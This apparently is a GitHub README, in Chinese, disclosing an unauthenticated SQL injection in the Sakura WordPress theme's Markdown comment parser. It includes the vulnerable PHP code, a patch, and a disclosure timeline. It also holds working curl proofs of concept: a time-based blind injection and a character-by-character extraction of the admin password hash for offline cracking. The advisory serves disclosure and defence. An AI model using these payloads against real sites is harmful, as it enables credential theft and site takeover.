Kimdir01/sakura-theme-sqli-cve
GitHub: Kimdir01/sakura-theme-sqli-cve
Sakura WordPress 主题未授权 SQL 注入漏洞(CVSS 9.8)的概念验证代码与详细分析报告,揭示了评论 Markdown 解析器中因未使用预处理语句导致的严重注入问题。
Stars: 0 | Forks: 0
# CVE-2026-XXXXX
## 通过评论 Markdown 解析器引发的 Sakura WordPress 主题未授权 SQL 注入
### 漏洞公告信息
| 字段 | 值 |
|-------|-------|
| **生态系统** | WordPress 主题 |
| **包/产品** | Sakura WordPress 主题 |
| **受影响版本** | 直至 commit `9a7a597` 的所有版本 |
| **修复版本** | 无 |
| **严重性** | **严重 (CVSS 9.8)** |
| **CWE** | CWE-89 (SQL 注入) |
| **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **代码库** | https://github.com/mashirozx/sakura |
| **Stars** | 3,816 ⭐ |
### 概述
Sakura WordPress 主题的 Markdown 评论解析器中存在一个未授权 SQL 注入漏洞。在 `preprocess_comment` filter 期间,原始且未经处理的评论内容被存储在一个全局变量中,随后在没有使用 `$wpdb->prepare()` 的情况下被直接拼接进 SQL `UPDATE` 查询中。
### 受影响组件
| 字段 | 值 |
|-------|-------|
| **生态系统** | WordPress 主题 |
| **包** | mashirozx/sakura |
| **供应商** | mashirozx |
| **受影响版本** | 所有 |
| **修复版本** | 无 |
| **文件** | `functions.php`,第 1803–1889 行 |
### 描述
Sakura 主题通过两个 hooks 为 WordPress 评论添加了 Markdown 支持:
1. **`preprocess_comment`** — `markdown_parser()` 将原始 `$_POST['comment']` 内容捕获到全局变量 `$comment_markdown_content` 中
2. **`comment_post`** — `save_markdown_comment()` 通过不安全的 SQL 将此原始内容写入数据库
**漏洞代码(`functions.php`,第 1804–1835 行):**
```
// Hook 1: Captures RAW user input before WordPress sanitization
function markdown_parser($incoming_comment) {
global $wpdb, $comment_markdown_content;
// ❌ Stores raw unsanitized comment content in global variable
$comment_markdown_content = $incoming_comment['comment_content'];
// ... markdown rendering ...
return $incoming_comment;
}
add_filter('preprocess_comment', 'markdown_parser');
// Hook 2: Uses raw content directly in SQL query
function save_markdown_comment($comment_ID, $comment_approved) {
global $wpdb, $comment_markdown_content;
$comment_content = $comment_markdown_content; // ← RAW USER INPUT
// ❌ Direct string interpolation — NO $wpdb->prepare()!
$wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content .
"' WHERE comment_ID='" . $comment_ID . "';");
}
add_action('comment_post', 'save_markdown_comment', 10, 2);
```
### 概念验证
**环境:** 启用了 Sakura 主题的 WordPress 6.x,评论功能已开启。
**利用方式:**
**PoC #1 — 基于时间的盲注(通用):**
```
# 通过 WHERE 子句引发 5 秒延迟来确认漏洞
curl -X POST "http://target/wp-comments-post.php" \
--data "comment=test', comment_ID=SLEEP(5) -- " \
--data "author=Attacker" \
--data "email=attacker@evil.com" \
--data "comment_post_ID=1" \
--data "submit=Post+Comment"
# 5 秒以上的响应延迟确认存在 blind SQL injection
```
**PoC #2 — 基于时间的盲注数据提取(凭证窃取):**
```
# 逐字符提取 admin 密码 hash
# 如果 wp_users.user_pass (ID=1) 的首字符等于 '$',则响应延迟 5 秒
curl -X POST "http://target/wp-comments-post.php" \
--data "comment=test', comment_ID=IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='\$',SLEEP(5),0) -- " \
--data "author=Attacker" \
--data "email=attacker@evil.com" \
--data "comment_post_ID=1" \
--data "submit=Post+Comment"
# 5 秒延迟 = 首字符匹配;遍历所有位置以重建完整 hash
# 然后可以离线破解完整 hash(WordPress 使用 phpass MD5)
```
**执行流程:**
1. `markdown_parser()` 在 `preprocess_comment` 时触发 — 将原始评论存储在 `$comment_markdown_content` 中(在 WordPress 进行过滤之前)
2. WordPress 对评论进行过滤并将其插入 `wp_comments` 表中
3. `save_markdown_comment()` 在 `comment_post` 时触发 — 执行未过滤的内容:
**PoC #1 — 盲注确认:**
UPDATE wp_comments SET comment_markdown='test', comment_ID=SLEEP(5) -- ' WHERE comment_ID='123';
结果:5 秒的延迟确认 SQL 注入可被利用。
**PoC #2 — 凭证提取(迭代):**
UPDATE wp_comments SET comment_markdown='test', comment_ID=IF(
SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$', SLEEP(5), 0
) -- ' WHERE comment_ID='123';
结果:攻击者逐字迭代提取管理员密码哈希值,该哈希值可以离线破解(WordPress 使用 phpass/MD5)。
**为什么堆叠查询会失败:** `$wpdb->query()` 内部调用 `mysqli_query()`,而它不支持由 `;` 分隔的多个语句。基于时间的盲注可以在单个 UPDATE 语句中可靠地提取数据。
### 影响
| CIA | 级别 | 描述 |
|-----|-------|-------------|
| 机密性 | **高** | 通过子查询提取所有 WordPress 用户数据、密码哈希和电子邮件 |
| 完整性 | **高** | 提取管理员密码哈希 → 离线破解 → 获取完全管理员权限 → 修改任何内容 |
| 可用性 | **高** | 通过凭证链条获取管理员权限后,可删除所有站点内容 |
**攻击场景:**
1. 未授权攻击者发布带有 SQL 注入 payload 的评论
2. 原始 payload 通过 `preprocess_comment` hook 绕过 WordPress 过滤
3. SQL 注入以完整的数据库权限执行
4. 攻击者获取管理员权限、窃取用户数据或破坏数据库
### 补丁
使用 `$wpdb->prepare()` 替换字符串插值:
```
- $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content .
- "' WHERE comment_ID='" . $comment_ID . "';");
+ $wpdb->query($wpdb->prepare(
+ "UPDATE {$wpdb->comments} SET comment_markdown = %s WHERE comment_ID = %d",
+ $comment_content,
+ $comment_ID
+ ));
```
同时使用 `$wpdb->comments` 代替硬编码的 `wp_comments`,以支持自定义表前缀。
### 参考
| 类型 | URL |
|------|-----|
| 代码库 | https://github.com/mashirozx/sakura |
| 漏洞代码 | https://github.com/mashirozx/sakura/blob/master/functions.php#L1834 |
| WordPress $wpdb->prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |
### 验证
于 2026-06-27 通过本地代码审计确认漏洞:
```
git clone https://github.com/mashirozx/sakura
cd sakura
# 确认第 1834 行存在 SQL injection:
grep -n "wpdb->query.*UPDATE.*comment_markdown" functions.php
# Output: 1834: $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content . "' WHERE comment_ID='" . $comment_ID . "';");
# 确认任何地方都未使用 prepared statements:
grep -c "wpdb->prepare" functions.php
# Output: 0
# 确认原始输入源:
grep -n "comment_markdown_content.*incoming_comment" functions.php
# Output: 1818: $comment_markdown_content = $incoming_comment['comment_content'];
# 确认存在漏洞的 hooks:
grep "preprocess_comment\|comment_post" functions.php
# Output: add_filter('preprocess_comment', 'markdown_parser');
# add_action('comment_post', 'save_markdown_comment', 10, 2);
```
**验证状态:✅ 所有检查通过**
### 时间线
| 日期 | 事件 |
|------|-------|
| 2026-06-27 | 通过源代码分析发现漏洞 |
| 2026-06-27 | 本地验证 — `git clone` + 代码审计确认 |
| 2026-06-27 | 通过 GitHub 安全公告通知供应商(私下披露) |
| 待定 | 供应商确认/响应 |
| 待定 + 90 天 | 协调公开披露(标准的负责任披露窗口) |
| 待定 | 分配 CVE ID 并发布安全公告 |
### CVSS v3.1
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 CRITICAL
AV:N — Remote over HTTP (anyone can post a comment)
AC:L — Simple POST request
PR:N — No authentication (comments are public)
UI:N — No user interaction
S:U — Same security context
C:H — Read any database table
I:H — Modify any database table
A:H — DROP/DELETE possible
```
标签:CISA项目, PoC, Web安全, WordPress插件, 多线程, 文件完整性监控, 暴力破解, 蓝队分析